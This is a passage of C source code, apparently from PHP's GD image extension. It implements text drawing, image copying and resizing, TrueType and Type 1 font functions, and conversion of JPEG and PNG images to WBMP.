= 0; cy = 0; if ((c < f->offset) || (c >= (f->offset + f->nchars))) { return; } fline = (c - f->offset) * f->h * f->w; for (py = y; (py > (y - f->w)); py--) { for (px = x; (px < (x + f->h)); px++) { if (f->data[fline + cy * f->w + cx]) { gdImageSetPixel(im, px, py, color); } cy++; } cy = 0; cx++; } } /* }}} */ /* {{{ php_imagechar * arg = 0 ImageChar * arg = 1 ImageCharUp * arg = 2 ImageString * arg = 3 ImageStringUp */ static void php_imagechar(INTERNAL_FUNCTION_PARAMETERS, int mode) { zval *IM; long SIZE, X, Y, COL; char *C; int C_len; gdImagePtr im; int ch = 0, col, x, y, size, i, l = 0; unsigned char *str = NULL; gdFontPtr font; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllsl", &IM, &SIZE, &X, &Y, &C, &C_len, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = COL; if (mode < 2) { ch = (int)((unsigned char)*C); } else { str = (unsigned char *) estrndup(C, C_len); l = strlen((char *)str); } y = Y; x = X; size = SIZE; font = php_find_gd_font(size TSRMLS_CC); switch (mode) { case 0: gdImageChar(im, font, x, y, ch, col); break; case 1: php_gdimagecharup(im, font, x, y, ch, col); break; case 2: for (i = 0; (i < l); i++) { gdImageChar(im, font, x, y, (int) ((unsigned char) str[i]), col); x += font->w; } break; case 3: { for (i = 0; (i < l); i++) { /* php_gdimagecharup(im, font, x, y, (int) str[i], col); */ gdImageCharUp(im, font, x, y, (int) str[i], col); y -= font->w; } break; } } if (str) { efree(str); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagechar(resource im, int font, int x, int y, string c, int col) Draw a character */ PHP_FUNCTION(imagechar) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto bool imagecharup(resource im, int font, int x, int y, string c, int col) Draw a character rotated 90 degrees counter-clockwise */ PHP_FUNCTION(imagecharup) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ proto bool imagestring(resource im, int font, int x, int y, string str, int col) Draw a string horizontally */ PHP_FUNCTION(imagestring) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 2); } /* }}} */ /* {{{ proto bool imagestringup(resource im, int font, int x, int y, string str, int col) Draw a string vertically - rotated 90 degrees counter-clockwise */ PHP_FUNCTION(imagestringup) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 3); } /* }}} */ /* {{{ proto bool imagecopy(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h) Copy part of an image */ PHP_FUNCTION(imagecopy) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; gdImageCopy(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopymerge(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct) Merge one part of an image with another */ PHP_FUNCTION(imagecopymerge) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, PCT; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX, pct; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrlllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH, &PCT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; pct = PCT; gdImageCopyMerge(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH, pct); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopymergegray(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct) Merge one part of an image with another */ PHP_FUNCTION(imagecopymergegray) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, PCT; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX, pct; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrlllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH, &PCT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; pct = PCT; gdImageCopyMergeGray(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH, pct); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopyresized(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h) Copy and resize part of an image */ PHP_FUNCTION(imagecopyresized) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, DW, DH; gdImagePtr im_dst, im_src; int srcH, srcW, dstH, dstW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &DW, &DH, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; dstH = DH; dstW = DW; if (dstW <= 0 || dstH <= 0 || srcW <= 0 || srcH <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } gdImageCopyResized(im_dst, im_src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagesx(resource im) Get image width */ PHP_FUNCTION(imagesx) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageSX(im)); } /* }}} */ /* {{{ proto int imagesy(resource im) Get image height */ PHP_FUNCTION(imagesy) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageSY(im)); } /* }}} */ #ifdef ENABLE_GD_TTF #define TTFTEXT_DRAW 0 #define TTFTEXT_BBOX 1 #endif #ifdef ENABLE_GD_TTF #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE /* {{{ proto array imageftbbox(float size, float angle, string font_file, string text [, array extrainfo]) Give the bounding box of a text using fonts via freetype2 */ PHP_FUNCTION(imageftbbox) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 1); } /* }}} */ /* {{{ proto array imagefttext(resource im, float size, float angle, int x, int y, int col, string font_file, string text [, array extrainfo]) Write text to the image using fonts via freetype2 */ PHP_FUNCTION(imagefttext) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 1); } /* }}} */ #endif /* HAVE_GD_FREETYPE && HAVE_LIBFREETYPE */ /* {{{ proto array imagettfbbox(float size, float angle, string font_file, string text) Give the bounding box of a text using TrueType fonts */ PHP_FUNCTION(imagettfbbox) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 0); } /* }}} */ /* {{{ proto array imagettftext(resource im, float size, float angle, int x, int y, int col, string font_file, string text) Write text to the image using a TrueType font */ PHP_FUNCTION(imagettftext) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 0); } /* }}} */ /* {{{ php_imagettftext_common */ static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int mode, int extended) { zval *IM, *EXT = NULL; gdImagePtr im=NULL; long col = -1, x = -1, y = -1; int str_len, fontname_len, i, brect[8]; double ptsize, angle; char *str = NULL, *fontname = NULL; char *error = NULL; int argc = ZEND_NUM_ARGS(); gdFTStringExtra strex = {0}; if (mode == TTFTEXT_BBOX) { if (argc < 4 || argc > ((extended) ? 5 : 4)) { ZEND_WRONG_PARAM_COUNT(); } else if (zend_parse_parameters(argc TSRMLS_CC, "ddss|a", &ptsize, &angle, &fontname, &fontname_len, &str, &str_len, &EXT) == FAILURE) { RETURN_FALSE; } } else { if (argc < 8 || argc > ((extended) ? 9 : 8)) { ZEND_WRONG_PARAM_COUNT(); } else if (zend_parse_parameters(argc TSRMLS_CC, "rddlllss|a", &IM, &ptsize, &angle, &x, &y, &col, &fontname, &fontname_len, &str, &str_len, &EXT) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); } /* convert angle to radians */ angle = angle * (M_PI/180); if (extended && EXT) { /* parse extended info */ HashPosition pos; /* walk the assoc array */ zend_hash_internal_pointer_reset_ex(HASH_OF(EXT), &pos); do { zval ** item; char * key; ulong num_key; if (zend_hash_get_current_key_ex(HASH_OF(EXT), &key, NULL, &num_key, 0, &pos) != HASH_KEY_IS_STRING) { continue; } if (zend_hash_get_current_data_ex(HASH_OF(EXT), (void **) &item, &pos) == FAILURE) { continue; } if (strcmp("linespacing", key) == 0) { convert_to_double_ex(item); strex.flags |= gdFTEX_LINESPACE; strex.linespacing = Z_DVAL_PP(item); } } while (zend_hash_move_forward_ex(HASH_OF(EXT), &pos) == SUCCESS); } #ifdef VIRTUAL_DIR { char tmp_font_path[MAXPATHLEN]; if (!VCWD_REALPATH(fontname, tmp_font_path)) { fontname = NULL; } } #endif /* VIRTUAL_DIR */ PHP_GD_CHECK_OPEN_BASEDIR(fontname, "Invalid font filename"); #ifdef HAVE_GD_FREETYPE if (extended) { error = gdImageStringFTEx(im, brect, col, fontname, ptsize, angle, x, y, str, &strex); } else error = gdImageStringFT(im, brect, col, fontname, ptsize, angle, x, y, str); #endif /* HAVE_GD_FREETYPE */ if (error) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", error); RETURN_FALSE; } array_init(return_value); /* return array with the text's bounding box */ for (i = 0; i < 8; i++) { add_next_index_long(return_value, brect[i]); } } /* }}} */ #endif /* ENABLE_GD_TTF */ #if HAVE_LIBT1 /* {{{ php_free_ps_font */ static void php_free_ps_font(zend_rsrc_list_entry *rsrc TSRMLS_DC) { int *font = (int *) rsrc->ptr; T1_DeleteFont(*font); efree(font); } /* }}} */ /* {{{ php_free_ps_enc */ static void php_free_ps_enc(zend_rsrc_list_entry *rsrc TSRMLS_DC) { char **enc = (char **) rsrc->ptr; T1_DeleteEncoding(enc); } /* }}} */ /* {{{ proto resource imagepsloadfont(string pathname) Load a new font from specified file */ PHP_FUNCTION(imagepsloadfont) { char *file; int file_len, f_ind, *font; #ifdef PHP_WIN32 struct stat st; #endif if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) { return; } #ifdef PHP_WIN32 if (VCWD_STAT(file, &st) < 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Font file not found (%s)", file); RETURN_FALSE; } #endif f_ind = T1_AddFont(file); if (f_ind < 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error (%i): %s", f_ind, T1_StrError(f_ind)); RETURN_FALSE; } if (T1_LoadFont(f_ind)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't load the font"); RETURN_FALSE; } font = (int *) emalloc(sizeof(int)); *font = f_ind; ZEND_REGISTER_RESOURCE(return_value, font, le_ps_font); } /* }}} */ /* {{{ proto int imagepscopyfont(int font_index) Make a copy of a font for purposes like extending or reenconding */ /* The function in t1lib which this function uses seem to be buggy... PHP_FUNCTION(imagepscopyfont) { int l_ind, type; gd_ps_font *nf_ind, *of_ind; long fnt; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &fnt) == FAILURE) { return; } of_ind = zend_list_find(fnt, &type); if (type != le_ps_font) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%ld is not a Type 1 font index", fnt); RETURN_FALSE; } nf_ind = emalloc(sizeof(gd_ps_font)); nf_ind->font_id = T1_CopyFont(of_ind->font_id); if (nf_ind->font_id < 0) { l_ind = nf_ind->font_id; efree(nf_ind); switch (l_ind) { case -1: php_error_docref(NULL TSRMLS_CC, E_WARNING, "FontID %d is not loaded in memory", l_ind); RETURN_FALSE; break; case -2: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tried to copy a logical font"); RETURN_FALSE; break; case -3: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Memory allocation fault in t1lib"); RETURN_FALSE; break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "An unknown error occurred in t1lib"); RETURN_FALSE; break; } } nf_ind->extend = 1; l_ind = zend_list_insert(nf_ind, le_ps_font TSRMLS_CC); RETURN_LONG(l_ind); } */ /* }}} */ /* {{{ proto bool imagepsfreefont(resource font_index) Free memory used by a font */ PHP_FUNCTION(imagepsfreefont) { zval *fnt; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &fnt) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); zend_list_delete(Z_LVAL_P(fnt)); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsencodefont(resource font_index, string filename) To change a fonts character encoding vector */ PHP_FUNCTION(imagepsencodefont) { zval *fnt; char *enc, **enc_vector; int enc_len, *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rp", &fnt, &enc, &enc_len) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); if ((enc_vector = T1_LoadEncoding(enc)) == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't load encoding vector from %s", enc); RETURN_FALSE; } T1_DeleteAllSizes(*f_ind); if (T1_ReencodeFont(*f_ind, enc_vector)) { T1_DeleteEncoding(enc_vector); php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't re-encode font"); RETURN_FALSE; } zend_list_insert(enc_vector, le_ps_enc TSRMLS_CC); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsextendfont(resource font_index, float extend) Extend or or condense (if extend < 1) a font */ PHP_FUNCTION(imagepsextendfont) { zval *fnt; double ext; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rd", &fnt, &ext) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); T1_DeleteAllSizes(*f_ind); if (ext <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Second parameter %F out of range (must be > 0)", ext); RETURN_FALSE; } if (T1_ExtendFont(*f_ind, ext) != 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsslantfont(resource font_index, float slant) Slant a font */ PHP_FUNCTION(imagepsslantfont) { zval *fnt; double slt; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rd", &fnt, &slt) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); if (T1_SlantFont(*f_ind, slt) != 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto array imagepstext(resource image, string text, resource font, int size, int foreground, int background, int xcoord, int ycoord [, int space [, int tightness [, float angle [, int antialias]) Rasterize a string over an image */ PHP_FUNCTION(imagepstext) { zval *img, *fnt; int i, j; long _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0; int *f_ind; int h_lines, v_lines, c_ind; int rd, gr, bl, fg_rd, fg_gr, fg_bl, bg_rd, bg_gr, bg_bl; int fg_al, bg_al, al; int aa[16]; int amount_kern, add_width; double angle = 0.0, extend; unsigned long aa_greys[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}; gdImagePtr bg_img; GLYPH *str_img; T1_OUTLINE *char_path, *str_path; T1_TMATRIX *transform = NULL; char *str; int str_len; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rsrlllll|lldl", &img, &str, &str_len, &fnt, &size, &_fg, &_bg, &x, &y, &space, &width, &angle, &aa_steps) == FAILURE) { return; } if (aa_steps != 4 && aa_steps != 16) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Antialias steps must be 4 or 16"); RETURN_FALSE; } ZEND_FETCH_RESOURCE(bg_img, gdImagePtr, &img, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); /* Ensure that the provided colors are valid */ if (_fg < 0 || (!gdImageTrueColor(bg_img) && _fg > gdImageColorsTotal(bg_img))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Foreground color index %ld out of range", _fg); RETURN_FALSE; } if (_bg < 0 || (!gdImageTrueColor(bg_img) && _fg > gdImageColorsTotal(bg_img))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Background color index %ld out of range", _bg); RETURN_FALSE; } fg_rd = gdImageRed (bg_img, _fg); fg_gr = gdImageGreen(bg_img, _fg); fg_bl = gdImageBlue (bg_img, _fg); fg_al = gdImageAlpha(bg_img, _fg); bg_rd = gdImageRed (bg_img, _bg); bg_gr = gdImageGreen(bg_img, _bg); bg_bl = gdImageBlue (bg_img, _bg); bg_al = gdImageAlpha(bg_img, _bg); for (i = 0; i < aa_steps; i++) { rd = bg_rd + (double) (fg_rd - bg_rd) / aa_steps * (i + 1); gr = bg_gr + (double) (fg_gr - bg_gr) / aa_steps * (i + 1); bl = bg_bl + (double) (fg_bl - bg_bl) / aa_steps * (i + 1); al = bg_al + (double) (fg_al - bg_al) / aa_steps * (i + 1); aa[i] = gdImageColorResolveAlpha(bg_img, rd, gr, bl, al); } T1_AASetBitsPerPixel(8); switch (aa_steps) { case 4: T1_AASetGrayValues(0, 1, 2, 3, 4); T1_AASetLevel(T1_AA_LOW); break; case 16: T1_AAHSetGrayValues(aa_greys); T1_AASetLevel(T1_AA_HIGH); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid value %ld as number of steps for antialiasing", aa_steps); RETURN_FALSE; } if (angle) { transform = T1_RotateMatrix(NULL, angle); } if (width) { extend = T1_GetExtend(*f_ind); str_path = T1_GetCharOutline(*f_ind, str[0], size, transform); if (!str_path) { if (T1_errno) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error: %s", T1_StrError(T1_errno)); } RETURN_FALSE; } for (i = 1; i < str_len; i++) { amount_kern = (int) T1_GetKerning(*f_ind, str[i - 1], str[i]); amount_kern += str[i - 1] == ' ' ? space : 0; add_width = (int) (amount_kern + width) / extend; char_path = T1_GetMoveOutline(*f_ind, add_width, 0, 0, size, transform); str_path = T1_ConcatOutlines(str_path, char_path); char_path = T1_GetCharOutline(*f_ind, str[i], size, transform); str_path = T1_ConcatOutlines(str_path, char_path); } str_img = T1_AAFillOutline(str_path, 0); } else { str_img = T1_AASetString(*f_ind, str, str_len, space, T1_KERNING, size, transform); } if (T1_errno) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error: %s", T1_StrError(T1_errno)); RETURN_FALSE; } h_lines = str_img->metrics.ascent - str_img->metrics.descent; v_lines = str_img->metrics.rightSideBearing - str_img->metrics.leftSideBearing; for (i = 0; i < v_lines; i++) { for (j = 0; j < h_lines; j++) { switch (str_img->bits[j * v_lines + i]) { case 0: break; default: c_ind = aa[str_img->bits[j * v_lines + i] - 1]; gdImageSetPixel(bg_img, x + str_img->metrics.leftSideBearing + i, y - str_img->metrics.ascent + j, c_ind); break; } } } array_init(return_value); add_next_index_long(return_value, str_img->metrics.leftSideBearing); add_next_index_long(return_value, str_img->metrics.descent); add_next_index_long(return_value, str_img->metrics.rightSideBearing); add_next_index_long(return_value, str_img->metrics.ascent); } /* }}} */ /* {{{ proto array imagepsbbox(string text, resource font, int size [, int space, int tightness, float angle]) Return the bounding box needed by a string if rasterized */ PHP_FUNCTION(imagepsbbox) { zval *fnt; long sz = 0, sp = 0, wd = 0; char *str; int i, space = 0, add_width = 0, char_width, amount_kern; int cur_x, cur_y, dx, dy; int x1, y1, x2, y2, x3, y3, x4, y4; int *f_ind; int str_len, per_char = 0; int argc = ZEND_NUM_ARGS(); double angle = 0, sin_a = 0, cos_a = 0; BBox char_bbox, str_bbox = {0, 0, 0, 0}; if (argc != 3 && argc != 6) { ZEND_WRONG_PARAM_COUNT(); } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "srl|lld", &str, &str_len, &fnt, &sz, &sp, &wd, &angle) == FAILURE) { return; } if (argc == 6) { space = sp; add_width = wd; angle = angle * M_PI / 180; sin_a = sin(angle); cos_a = cos(angle); per_char = add_width || angle ? 1 : 0; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); #define max(a, b) (a > b ? a : b) #define min(a, b) (a < b ? a : b) #define new_x(a, b) (int) ((a) * cos_a - (b) * sin_a) #define new_y(a, b) (int) ((a) * sin_a + (b) * cos_a) if (per_char) { space += T1_GetCharWidth(*f_ind, ' '); cur_x = cur_y = 0; for (i = 0; i < str_len; i++) { if (str[i] == ' ') { char_bbox.llx = char_bbox.lly = char_bbox.ury = 0; char_bbox.urx = char_width = space; } else { char_bbox = T1_GetCharBBox(*f_ind, str[i]); char_width = T1_GetCharWidth(*f_ind, str[i]); } amount_kern = i ? T1_GetKerning(*f_ind, str[i - 1], str[i]) : 0; /* Transfer character bounding box to right place */ x1 = new_x(char_bbox.llx, char_bbox.lly) + cur_x; y1 = new_y(char_bbox.llx, char_bbox.lly) + cur_y; x2 = new_x(char_bbox.llx, char_bbox.ury) + cur_x; y2 = new_y(char_bbox.llx, char_bbox.ury) + cur_y; x3 = new_x(char_bbox.urx, char_bbox.ury) + cur_x; y3 = new_y(char_bbox.urx, char_bbox.ury) + cur_y; x4 = new_x(char_bbox.urx, char_bbox.lly) + cur_x; y4 = new_y(char_bbox.urx, char_bbox.lly) + cur_y; /* Find min & max values and compare them with current bounding box */ str_bbox.llx = min(str_bbox.llx, min(x1, min(x2, min(x3, x4)))); str_bbox.lly = min(str_bbox.lly, min(y1, min(y2, min(y3, y4)))); str_bbox.urx = max(str_bbox.urx, max(x1, max(x2, max(x3, x4)))); str_bbox.ury = max(str_bbox.ury, max(y1, max(y2, max(y3, y4)))); /* Move to the next base point */ dx = new_x(char_width + add_width + amount_kern, 0); dy = new_y(char_width + add_width + amount_kern, 0); cur_x += dx; cur_y += dy; /* printf("%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\n", x1, y1, x2, y2, x3, y3, x4, y4, char_bbox.llx, char_bbox.lly, char_bbox.urx, char_bbox.ury, char_width, amount_kern, cur_x, cur_y, dx, dy); */ } } else { str_bbox = T1_GetStringBBox(*f_ind, str, str_len, space, T1_KERNING); } if (T1_errno) { RETURN_FALSE; } array_init(return_value); /* printf("%d %d %d %d\n", str_bbox.llx, str_bbox.lly, str_bbox.urx, str_bbox.ury); */ add_next_index_long(return_value, (int) ceil(((double) str_bbox.llx)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.lly)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.urx)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.ury)*sz/1000)); } /* }}} */ #endif /* {{{ proto bool image2wbmp(resource im [, string filename [, int threshold]]) Output WBMP image to browser or file */ PHP_FUNCTION(image2wbmp) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_CONVERT_WBM, "WBMP", _php_image_bw_convert); } /* }}} */ #if defined(HAVE_GD_JPG) /* {{{ proto bool jpeg2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold) Convert JPEG image to WBMP image */ PHP_FUNCTION(jpeg2wbmp) { _php_image_convert(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG); } /* }}} */ #endif #if defined(HAVE_GD_PNG) /* {{{ proto bool png2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold) Convert PNG image to WBMP image */ PHP_FUNCTION(png2wbmp) { _php_image_convert(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG); } /* }}} */ #endif /* {{{ _php_image_bw_convert * It converts a gd Image to bw using a threshold value */ static void _php_image_bw_convert(gdImagePtr im_org, gdIOCtx *out, int threshold) { gdImagePtr im_dest; int white, black; int color, color_org, median; int dest_height = gdImageSY(im_org); int dest_width = gdImageSX(im_org); int x, y; TSRMLS_FETCH(); im_dest = gdImageCreate(dest_width, dest_height); if (im_dest == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate temporary buffer"); return; } white = gdImageColorAllocate(im_dest, 255, 255, 255); if (white == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); return; } black = gdImageColorAllocate(im_dest, 0, 0, 0); if (black == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); return; } if (im_org->trueColor) { gdImageTrueColorToPalette(im_org, 1, 256); } for (y = 0; y < dest_height; y++) { for (x = 0; x < dest_width; x++) { color_org = gdImageGetPixel(im_org, x, y); median = (im_org->red[color_org] + im_org->green[color_org] + im_org->blue[color_org]) / 3; if (median < threshold) { color = black; } else { color = white; } gdImageSetPixel (im_dest, x, y, color); } } gdImageWBMPCtx (im_dest, black, out); } /* }}} */ /* {{{ _php_image_convert * _php_image_convert converts jpeg/png images to wbmp and resizes them as needed */ static void _php_image_convert(INTERNAL_FUNCTION_PARAMETERS, int image_type ) { char *f_org, *f_dest; int f_org_len, f_dest_len; long height, width, threshold; gdImagePtr im_org, im_dest, im_tmp; char *fn_org = NULL; char *fn_dest = NULL; FILE *org, *dest; int dest_height = -1; int dest_width = -1; int org_height, org_width; int white, black; int color, color_org, median; int int_threshold; int x, y; float x_ratio, y_ratio; long ignore_warning; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pplll", &f_org, &f_org_len, &f_dest, &f_dest_len, &height, &width, &threshold) == FAILURE) { return; } fn_org = f_org; fn_dest = f_dest; dest_height = height; dest_width = width; int_threshold = threshold; /* Check threshold value */ if (int_threshold < 0 || int_threshold > 8) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'", int_threshold); RETURN_FALSE; } /* Check origin file */ PHP_GD_CHECK_OPEN_BASEDIR(fn_org, "Invalid origin filename"); /* Check destination file */ PHP_GD_CHECK_OPEN_BASEDIR(fn_dest, "Invalid destination filename"); /* Open origin file */ org = VCWD_FOPEN(fn_org, "rb"); if (!org) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for reading", fn_org); RETURN_FALSE; } /* Open destination file */ dest = VCWD_FOPEN(fn_dest, "wb"); if (!dest) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for writing", fn_dest); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_TYPE_GIF: im_org = gdImageCreateFromGif(org); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid GIF file", fn_dest); RETURN_FALSE; } break; #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); im_org = gdImageCreateFromJpegEx(org, ignore_warning); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid JPEG file", fn_dest); RETURN_FALSE; } break; #endif /* HAVE_GD_JPG */ #ifdef HAVE_GD_PNG case PHP_GDIMG_TYPE_PNG: im_org = gdImageCreateFromPng(org); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid PNG file", fn_dest); RETURN_FALSE; } break; #endif /* HAVE_GD_PNG */ default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Format not supported"); RETURN_FALSE; break; } org_width = gdImageSX (im_org); org_height = gdImageSY (im_org); x_ratio = (float) org_width / (float) dest_width; y_ratio = (float) org_height / (float) dest_height; if (x_ratio > 1 && y_ratio > 1) { if (y_ratio > x_ratio) { x_ratio = y_ratio; } else { y_ratio = x_ratio; } dest_width = (int) (org_width / x_ratio); dest_height = (int) (org_height / y_ratio); } else { x_ratio = (float) dest_width / (float) org_width; y_ratio = (float) dest_height / (float) org_height; if (y_ratio < x_ratio) { x_ratio = y_ratio; } else { y_ratio = x_ratio; 